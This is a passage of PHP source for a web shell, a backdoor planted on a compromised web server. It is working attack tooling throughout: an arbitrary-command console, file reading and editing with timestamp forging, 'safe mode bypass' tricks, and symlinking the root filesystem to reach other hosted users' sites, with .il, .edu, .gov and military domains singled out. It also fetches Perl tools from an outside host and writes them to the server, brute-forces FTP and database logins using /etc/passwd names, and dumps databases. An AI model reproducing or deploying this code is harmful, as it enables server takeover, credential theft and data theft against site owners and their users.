if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
$stringTools = array(
'Base64 encode' => 'base64_encode',
'Base64 decode' => 'base64_decode',
'Url encode' => 'urlencode',
'Url decode' => 'urldecode',
'Full urlencode' => 'full_urlencode',
'md5 hash' => 'md5',
'sha1 hash' => 'sha1',
'crypt' => 'crypt',
'CRC32' => 'crc32',
'ASCII to HEX' => 'ascii2hex',
'HEX to ASCII' => 'hex2ascii',
'HEX to DEC' => 'hexdec',
'HEX to BIN' => 'hex2bin',
'DEC to HEX' => 'dechex',
'DEC to BIN' => 'decbin',
'BIN to HEX' => 'binhex',
'BIN to DEC' => 'bindec',
'String to lower case' => 'strtolower',
'String to upper case' => 'strtoupper',
'Htmlspecialchars' => 'htmlspecialchars',
'String length' => 'strlen',
);
if(isset($_POST['ajax'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
ob_start();
if(in_array($_POST['p1'], $stringTools))
echo $_POST['p1']($_POST['p2']);
$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"
\'")."';
";
echo strlen($temp), "
", $temp;
exit;
}
BOFFHeader();
echo '<h1>String conversions</h1><div class=content>';
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
foreach($stringTools as $k => $v)
echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
if(!empty($_POST['p1'])) {
if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
}
echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
<tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
<tr><td></td><td><input type='submit' value='>>'></td></tr>
</table></form>";
function BOFFRecursiveGlob($path) {
if(substr($path, -1) != '/')
$path.='/';
$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
if(is_array($paths)&&@count($paths)) {
foreach($paths as $item) {
if(@is_dir($item)){
if($path!=$item)
BOFFRecursiveGlob($item);
} else {
if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
}
}
}
}
if(@$_POST['p3'])
BOFFRecursiveGlob($_POST['c']);
echo "</div><br><h1>Search for hash:</h1><div class=content>
<form method='post' target='_blank' name='hf'>
<input type='text' name='hash' style='width:200px;'><br>
<input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
<input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
<input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
<input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
</form></div>";
BOFFFooter();
}
function actionFilesTools() {
if( isset($_POST['p1']) )
$_POST['p1'] = urldecode($_POST['p1']);
if(@$_POST['p2']=='download') {
if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
if (function_exists("mime_content_type")) {
$type = @mime_content_type($_POST['p1']);
header("Content-Type: " . $type);
} else
header("Content-Type: application/octet-stream");
$fp = @fopen($_POST['p1'], "r");
if($fp) {
while(!@feof($fp))
echo @fread($fp, 1024);
fclose($fp);
}
}exit;
}
if( @$_POST['p2'] == 'mkfile' ) {
if(!file_exists($_POST['p1'])) {
$fp = @fopen($_POST['p1'], 'w');
if($fp) {
$_POST['p2'] = "edit";
fclose($fp);
}
}
}
BOFFHeader();
echo '<h1>File tools</h1><div class=content>';
if( !file_exists(@$_POST['p1']) ) {
echo 'File not exists';
BOFFFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST['p1']));
if(!$uid) {
$uid['name'] = @fileowner($_POST['p1']);
$gid['name'] = @filegroup($_POST['p1']);
} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?BOFFViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.BOFFPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
if( empty($_POST['p2']) )
$_POST['p2'] = 'view';
if( is_file($_POST['p1']) )
$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
else
$m = array('Chmod', 'Rename', 'Touch');
foreach($m as $v)
echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
echo '<br><br>';
switch($_POST['p2']) {
case 'view':
echo '<pre class=ml1>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</pre>';
break;
case 'highlight':
if( @is_readable($_POST['p1']) ) {
echo '<div class=ml1 style="background-color: #00C000;color:black;">';
$code = @highlight_file($_POST['p1'],true);
echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
}
break;
case 'chmod':
if( !empty($_POST['p3']) ) {
$perms = 0;
for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
if(!@chmod($_POST['p1'], $perms))
echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
break;
case 'edit':
if( !is_writable($_POST['p1'])) {
echo 'File isn\'t writeable';
break;
}
if( !empty($_POST['p3']) ) {
$time = @filemtime($_POST['p1']);
$_POST['p3'] = substr($_POST['p3'],1);
$fp = @fopen($_POST['p1'],"w");
if($fp) {
@fwrite($fp,$_POST['p3']);
@fclose($fp);
echo 'Saved!<br><script>p3_="";</script>';
@touch($_POST['p1'],$time,$time);
}
}
echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</textarea><input type=submit value=">>"></form>';
break;
case 'hexdump':
$c = @file_get_contents($_POST['p1']);
$n = 0;
$h = array('00000000<br>','','');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf('%02X',ord($c[$i])).' ';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= ' '; break;
case 9: $h[2] .= ' '; break;
case 10: $h[2] .= ' '; break;
case 13: $h[2] .= ' '; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
$h[1] .= '<br>';
$h[2] .= "
";
}
}
echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#000000><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#000000><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
break;
case 'rename':
if( !empty($_POST['p3']) ) {
if(!@rename($_POST['p1'], $_POST['p3']))
echo 'Can\'t rename!<br>';
else
die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
}
echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
break;
case 'touch':
if( !empty($_POST['p3']) ) {
$time = strtotime($_POST['p3']);
if($time) {
if(!touch($_POST['p1'],$time,$time))
echo 'Fail!';
else
echo 'Touched!';
} else echo 'Bad time format!';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
break;
}
echo '</div>';
BOFFFooter();
}
function actionSafeMode() {
$temp='';
ob_start();
switch($_POST['p1']) {
case 1:
$temp=@tempnam($test, 'cx');
if(@copy("compress.zlib://".$_POST['p2'], $temp)){
echo @file_get_contents($temp);
unlink($temp);
} else
echo 'Sorry... Can\'t open file';
break;
case 2:
$files = glob($_POST['p2'].'*');
if( is_array($files) )
foreach ($files as $filename)
echo $filename."
";
break;
case 3:
$ch = curl_init("file://".$_POST['p2']."".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
curl_exec($ch);
break;
case 4:
ini_restore("safe_mode");
ini_restore("open_basedir");
include($_POST['p2']);
break;
case 5:
for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
$uid = @posix_getpwuid($_POST['p2']);
if ($uid)
echo join(':',$uid)."
";
}
break;
}
$temp = ob_get_clean();
BOFFHeader();
echo '<h1>Safe mode bypass</h1><div class=content>';
echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
if($temp)
echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
echo '</div>';
BOFFFooter();
}
function actionConsole() {
if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true;
$_POST['p1'] .= ' 2>&1';
} elseif(!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = false;
if(isset($_POST['ajax'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
ob_start();
echo "d.cf.cmd.value='';
";
$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ ".$_POST['p1']."
".BOFFEx($_POST['p1']),"
\'"));
if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
if(@chdir($match[1])) {
$GLOBALS['cwd'] = @getcwd();
echo "c_='".$GLOBALS['cwd']."';";
}
}
echo "d.cf.output.value+='".$temp."';";
echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
$temp = ob_get_clean();
echo strlen($temp), "
", $temp;
exit;
}
BOFFHeader();
echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
var n = (window.Event) ? e.which : e.keyCode;
if(n == 38) {
cur--;
if(cur>=0)
document.cf.cmd.value = cmds[cur];
else
cur++;
} else if(n == 40) {
cur++;
if(cur < cmds.length)
document.cf.cmd.value = cmds[cur];
else
cur--;
}
}
function add(cmd) {
cmds.pop();
cmds.push(cmd);
cmds.push('');
cur = cmds.length-1;
}
</script>";
echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
foreach($GLOBALS['aliases'] as $n => $v) {
if($v == '') {
echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
continue;
}
echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
}
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
if(!empty($_POST['p1'])) {
echo htmlspecialchars("$ ".$_POST['p1']."
".BOFFEx($_POST['p1']));
}
echo '</textarea><table style="border:1px solid #00FF00;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
echo '</form></div><script>d.cf.cmd.focus();</script>';
BOFFFooter();
}
function actionSymlink() {
BOFFHeader();
echo "<h1>Sql browser</h1>";
echo "<center>";
@mkdir('sym',0777);
$htaccess = "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$write =@fopen ('sym/.htaccess','w');
fwrite($write ,$htaccess);
@symlink('/','sym/root');
$filelocation = basename(__FILE__);
$read_named_conf = @file('/etc/named.conf');
if(!$read_named_conf)
{
echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
}
else
{
echo "<br><br><div class='tmp'><table border='1' bordercolor='#008000' width='800' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
foreach($read_named_conf as $subject){
if(eregi('zone',$subject)){
preg_match_all('#zone "(.*)"#',$subject,$string);
flush();
if(strlen(trim($string[1][0])) >2){
$UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
$name = $UID['name'] ;
@symlink('/','sym/root');
$name = $string[1][0];
$israel = '\.il';
$edu = '\.edu';
$gov = '\.gov';
if (@eregi("$iran",$string[1][0]) or @eregi("$israel",$string[1][0]) or @eregi("$indo",$string[1][0])or @eregi("$sg12",$string[1][0]) or @eregi ("$edu",$string[1][0]) or @eregi ("$gov",$string[1][0])
or @eregi ("$gose",$string[1][0]) or @eregi("$gober",$string[1][0]) or @eregi("$mil1",$string[1][0]) or @eregi ("$mil2",$string[1][0]))
{
$name = "<div style='border:1px solid #969696;'>".$string[1][0].'</div>';
}
echo "
<tr>
<td>
<div style='border:1px solid #969696;'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div>
</td>
<td>
'.$UID['name']."
</td>
<td>
<div style='border:1px solid #969696;'><a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a></div>
</td>
</tr></div> ";
flush();
}
}
}
}
echo "</center></table>";
BOFFFooter();
}
function actionPSymlink() {
BOFFHeader();
echo "<center>";
$telnetfile = 'telnet213'; // Perl tools file
$link = "http://www.the-code.tk/phh"; // Tools source link (without slash '/' in end)
$perlfiles=array(".htaccess","users.gif","izo.gif","config.gif");
$name =basename( $_SERVER[ 'PHP_SELF' ] ); // Returns trailing name component of path.
$url0= "http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
$url= str_replace("$name", '', $url0);
// Style :
echo"<h3>- PERL TOOLS:</h3>";
if (!file_exists($telnetfile))
{
@mkdir($telnetfile);
@chmod("$telnetfile", 0755);
}
if (file_exists($telnetfile))
{
foreach($perlfiles as $file){
$tool = fopen("$telnetfile/$file" ,"w+");
if (@eregi('htaccess', $file)) {
$file= str_replace(".", '', $file);
}
$toolcontents=@file_get_contents("$link/perl/$file.txt");
$write = fwrite ($tool ,$toolcontents);
fclose($tool);
if ($write) {
if (@eregi('htaccess', $file)) {
$file=".$file";
}
echo "<font color=#969696>The <b>$file</b> File Was Created Successfuly.==><a href='$url/$telnetfile/$file' target='_blank'><u>$file</u></a></font><br>";
}
else {
echo"<font color=red>ERROR: Cannot Create <b>$file</b> File !! </font><br>";
}
@chmod("$telnetfile/$file" , 0755);
}
}
BOFFFooter();
}
function actionLogout() {
session_destroy();
die('Good Bye ;) !');
}
function actionSelfRemove() {
if($_POST['p1'] == 'yes')
if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
die('Shell has been removed');
else
echo 'unlink error!';
if($_POST['p1'] != 'yes')
BOFFHeader();
echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
BOFFFooter();
}
function actionBruteforce() {
BOFFHeader();
if( isset($_POST['proto']) ) {
echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
if( $_POST['proto'] == 'ftp' ) {
function bruteForce($ip,$port,$login,$pass) {
$fp = @ftp_connect($ip, $port?$port:21);
if(!$fp) return false;
$res = @ftp_login($fp, $login, $pass);
@ftp_close($fp);
return $res;
}
} elseif( $_POST['proto'] == 'mysql' ) {
function bruteForce($ip,$port,$login,$pass) {
$res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
@mysql_close($res);
return $res;
}
} elseif( $_POST['proto'] == 'pgsql' ) {
function bruteForce($ip,$port,$login,$pass) {
$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
$res = @pg_connect($str);
@pg_close($res);
return $res;
}
}
$success = 0;
$attempts = 0;
$server = explode(":", $_POST['server']);
if($_POST['type'] == 1) {
$temp = @file('/etc/passwd');
if( is_array($temp) )
foreach($temp as $line) {
$line = explode(":", $line);
++$attempts;
if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
}
if(@$_POST['reverse']) {
$tmp = "";
for($i=strlen($line[0])-1; $i>=0; --$i)
$tmp .= $line[0][$i];
++$attempts;
if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
}
}
}
} elseif($_POST['type'] == 2) {
$temp = @file($_POST['dict']);
if( is_array($temp) )
foreach($temp as $line) {
$line = trim($line);
++$attempts;
if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
$success++;
echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
}
}
}
echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
}
echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
.'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
.'<span>Server:port</span></td>'
.'<td><input type=text name=server value="127.0.0.1"></td></tr>'
.'<tr><td><span>Brute type</span></td>'
.'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
.'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
.'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
.'<td><input type=text name=login value="root"></td></tr>'
.'<tr><td><span>Dictionary</span></td>'
.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
.'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
echo '</div><br>';
BOFFFooter();
}
function actionSql() {
class DbClass {
var $type;
var $link;
var $res;
function DbClass($type) {
$this->type = $type;
}
function connect($host, $user, $pass, $dbname){
switch($this->type) {
case 'mysql':
if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
break;
case 'pgsql':
$host = explode(':', $host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
}
return false;
}
function selectdb($db) {
switch($this->type) {
case 'mysql':
if (@mysql_select_db($db))return true;
break;
}
return false;
}
function query($str) {
switch($this->type) {
case 'mysql':
return $this->res = @mysql_query($str);
break;
case 'pgsql':
return $this->res = @pg_query($this->link,$str);
break;
}
return false;
}
function fetch() {
$res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type) {
case 'mysql':
return @mysql_fetch_assoc($res);
break;
case 'pgsql':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs() {
switch($this->type) {
case 'mysql':
return $this->query("SHOW databases");
break;
case 'pgsql':
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
break;
}
return false;
}
function listTables() {
switch($this->type) {
case 'mysql':
return $this->res = $this->query('SHOW TABLES');
break;
case 'pgsql':
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
break;
}
return false;
}
function error() {
switch($this->type) {
case 'mysql':
return @mysql_error();
break;
case 'pgsql':
return @pg_last_error();
break;
}
return false;
}
function setCharset($str) {
switch($this->type) {
case 'mysql':
if(function_exists('mysql_set_charset'))
return @mysql_set_charset($str, $this->link);
else
$this->query('SET CHARSET '.$str);
break;
case 'pgsql':
return @pg_set_client_encoding($this->link, $str);
break;
}
return false;
}
function loadFile($str) {
switch($this->type) {
case 'mysql':
return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
break;
case 'pgsql':
$this->query("CREATE TABLE BOFF2(file text);COPY BOFF2 FROM '".addslashes($str)."';select file from BOFF2;");
$r=array();
while($i=$this->fetch())
$r[] = $i['file'];
$this->query('drop table BOFF2');
return array('file'=>implode("
",$r));
break;
}
return false;
}
function dump($table, $fp = false) {
switch($this->type) {
case 'mysql':
$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
$create = mysql_fetch_array($res);
$sql = $create[1].";
";
if($fp) fwrite($fp, $sql); else echo($sql);
$this->query('SELECT * FROM `'.$table.'`');
$head = true;
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
if($v == null)
$item[$k] = "NULL";
elseif(is_numeric($v))
$item[$k] = $v;
else
$item[$k] = "'".@mysql_real_escape_string($v)."'";
$columns[] = "`".$k."`";
}
if($head) {
$sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES
(".implode(", ", $item).')';
$head = false;
} else
$sql = "
,(".implode(", ", $item).')';
if($fp) fwrite($fp, $sql); else echo($sql);
}
if(!$head)
if($fp) fwrite($fp, ";
"); else echo(";
");
break;
case 'pgsql':
$this->query('SELECT * FROM '.$table);
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
$item[$k] = "'".addslashes($v)."'";
$columns[] = $k;
}
$sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
";
if($fp) fwrite($fp, $sql); else echo($sql);
}
break;
}
return false;
}
};
$db = new DbClass($_POST['type']);
if(@$_POST['p2']=='download') {
$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
$db->selectdb($_POST['sql_base']);
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251'); break;
case "UTF-8": $db->setCharset('utf8'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
if(empty($_POST['file'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=dump.sql");
header("Content-Type: text/plain");
foreach($_POST['tbl'] as $v)
$db->dump($v);
exit;
} elseif($fp = @fopen($_POST['file'], 'w')) {
foreach($_POST['tbl'] as $v)
$db->dump($v, $fp);
fclose($fp);
unset($_POST['p2']);
} else
die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
}
BOFFHeader();
echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";
if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
$tmp = "<input type=text name=sql_base value=''>";
if(isset($_POST['sql_host'])){
if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251'); break;
case "UTF-8": $db->setCharset('utf8'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
$db->listDbs();
echo "<select name=sql_base><option value=''></option>";
while($item = $db->fetch()) {
list($key, $value) = each($item);
echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
}
echo '</select>';
}
else echo $tmp;
}else
echo $tmp;
echo "</td>
<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
<td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
</tr>
</table>
<script>
s_db='".@addslashes($_POST['sql_base'])."';
function fs(f) {
if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
if(f.p1) f.p1.value='';
if(f.p2) f.p2.value='';
if(f.p3) f.p3.value='';
}
}
function st(t,l) {
d.sf.p1.value = 'select';
d.sf.p2.value = t;
if(l && d.sf.p3) d.sf.p3.value = l;
d.sf.submit();
}
function is() {
for(i=0;i<d.sf.elements['tbl[]'].length;++i)
d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
}
</script>";
if(isset($db) && $db->link){
echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
if(!empty($_POST['sql_base'])){
$db->selectdb($_POST['sql_base']);
echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
$tbls_res = $db->listTables();
while($item = $db->fetch($tbls_res)) {
list($key, $value) = each($item);
if(!empty($_POST['sql_count']))
$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
$value = htmlspecialchars($value);
echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
}
